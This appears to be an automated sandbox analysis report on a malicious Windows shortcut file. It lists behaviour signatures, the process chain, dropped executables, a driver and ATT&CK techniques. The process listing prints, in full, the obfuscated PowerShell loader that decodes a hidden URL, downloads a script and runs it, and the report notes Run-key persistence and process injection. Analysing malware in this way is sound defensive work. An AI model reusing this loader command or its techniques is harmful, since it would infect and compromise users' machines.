Analysis
- max time kernel
149s - max time network
142s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
29/07/2026, 11:41
General
- Target photov_758297625492.lnk
- Size 2KB
- Sample260729-ntwvaashph
- SHA256 490d18fa41a2c8fe3e361ba6edfbd9c4cc74b2eb5ca4cded1ed09d2b0da2fb71
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes dropped EXE 3 IoCs
- Loads dropped DLL 6 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 2 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\photov_758297625492.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Minimized -c "$pnzyaswt=41;$lohdo3aj2=[bigint]::Parse('64128114331088523111027400896527225069883');$ifeepgq2ip=[bigint]::Parse('64127521163998065012060205839258076233170');$lohdo3aj2=$lohdo3aj2-$ifeepgq2ip;$c9jpa=@();while($lohdo3aj2 -gt 0){$c9jpa+=[char][int]([bigint]::Remainder($lohdo3aj2,256));$lohdo3aj2=[bigint]::Divide($lohdo3aj2,256)};.([scriptblock]::Create((irm(-join$c9jpa))))"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Minimized -c "$pnzyaswt=41;$lohdo3aj2=[bigint]::Parse('64128114331088523111027400896527225069883');$ifeepgq2ip=[bigint]::Parse('64127521163998065012060205839258076233170');$lohdo3aj2=$lohdo3aj2-$ifeepgq2ip;$c9jpa=@();while($lohdo3aj2 -gt 0){$c9jpa+=[char][int]([bigint]::Remainder($lohdo3aj2,256));$lohdo3aj2=[bigint]::Divide($lohdo3aj2,256)};.([scriptblock]::Create((irm(-join$c9jpa))))"3⤵
- Badlisted process makes network request
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\xyrn_bdfmzcez_upd_oazas10a186553da645\psl.exe"C:\Users\Admin\AppData\Local\xyrn_bdfmzcez_upd_oazas10a186553da645\psl.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\cmd.exe"cmd /c start "" /D "C:\ProgramData\pslservicewinx32" "C:\ProgramData\pslservicewinx32\psl.exe""1⤵
- Suspicious use of WriteProcessMemory
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C:\ProgramData\pslservicewinx32\psl.exe"C:\ProgramData\pslservicewinx32\psl.exe""2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Temp\DCRCVDrv.sysC:\Windows\Temp\DCRCVDrv.sys1⤵
- Executes dropped EXE
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
hxqfnlvg_bb_ptnpfcm.zip
libiconv-2.dll
libidn2-0.dll
libintl-8.dll
libpsl-5.dll
libunistring-5.dll
msvcp140.dll
psl.exe
ucrtbase.dll
vcruntime140.dll
vcruntime140_1.dll
DCRCVDrv.sys
memory/2824-90-0x0000000000010000-0x000000000003D000-memory.dmp
memory/5360-209-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-193-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-1371-0x0000000006DD0000-0x000000000738A000-memory.dmp
memory/5360-1370-0x0000000006770000-0x0000000006802000-memory.dmp
memory/5360-1367-0x0000000005590000-0x00000000055F6000-memory.dmp
memory/5360-112-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-113-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-121-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-115-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-117-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-133-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-119-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-165-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-215-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-123-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-125-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-127-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-129-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-131-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-135-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-94-0x0000000000400000-0x0000000000470000-memory.dmp
memory/5360-137-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-110-0x00000000051E0000-0x00000000051FA000-memory.dmp
memory/5360-111-0x0000000005200000-0x000000000522C000-memory.dmp
memory/5360-157-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-151-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-161-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-217-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-231-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-229-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-227-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-225-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-223-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-221-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-219-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-213-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-211-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-139-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-207-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-205-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-203-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-201-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-199-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-197-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-195-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-141-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-191-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-189-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-187-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-185-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-183-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-181-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-179-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-143-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-178-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-175-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-173-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-171-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-169-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-167-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-163-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-159-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-155-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-153-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-149-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-147-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5360-145-0x0000000005200000-0x0000000005226000-memory.dmp
memory/5672-95-0x00007FF7DCF40000-0x00007FF7DCF55000-memory.dmp
memory/5804-7-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp
memory/5804-9-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp
memory/5804-11-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp
memory/5804-1-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp
memory/5804-4-0x0000016DC95A0000-0x0000016DC95C2000-memory.dmp
memory/5804-88-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp
memory/5804-5-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp
memory/5804-74-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp
memory/5804-6-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp
memory/5804-12-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp
memory/5804-0-0x00007FF8EA99F000-0x00007FF8EA9A0000-memory.dmp
memory/5804-10-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp
memory/5804-8-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp
memory/5804-65-0x0000016DC9DC0000-0x0000016DC9EB0000-memory.dmp
memory/5804-19-0x0000016DC9B20000-0x0000016DC9B32000-memory.dmp
memory/5804-17-0x0000016DC9680000-0x0000016DC968A000-memory.dmp
memory/5804-16-0x0000016DCA3F0000-0x0000016DCA918000-memory.dmp
memory/5804-15-0x0000016DC9BF0000-0x0000016DC9DB2000-memory.dmp
memory/5804-14-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp
memory/5804-13-0x00007FF8EA810000-0x00007FF8EB1B4000-memory.dmp
memory/6316-740-0x0000000000590000-0x0000000000600000-memory.dmp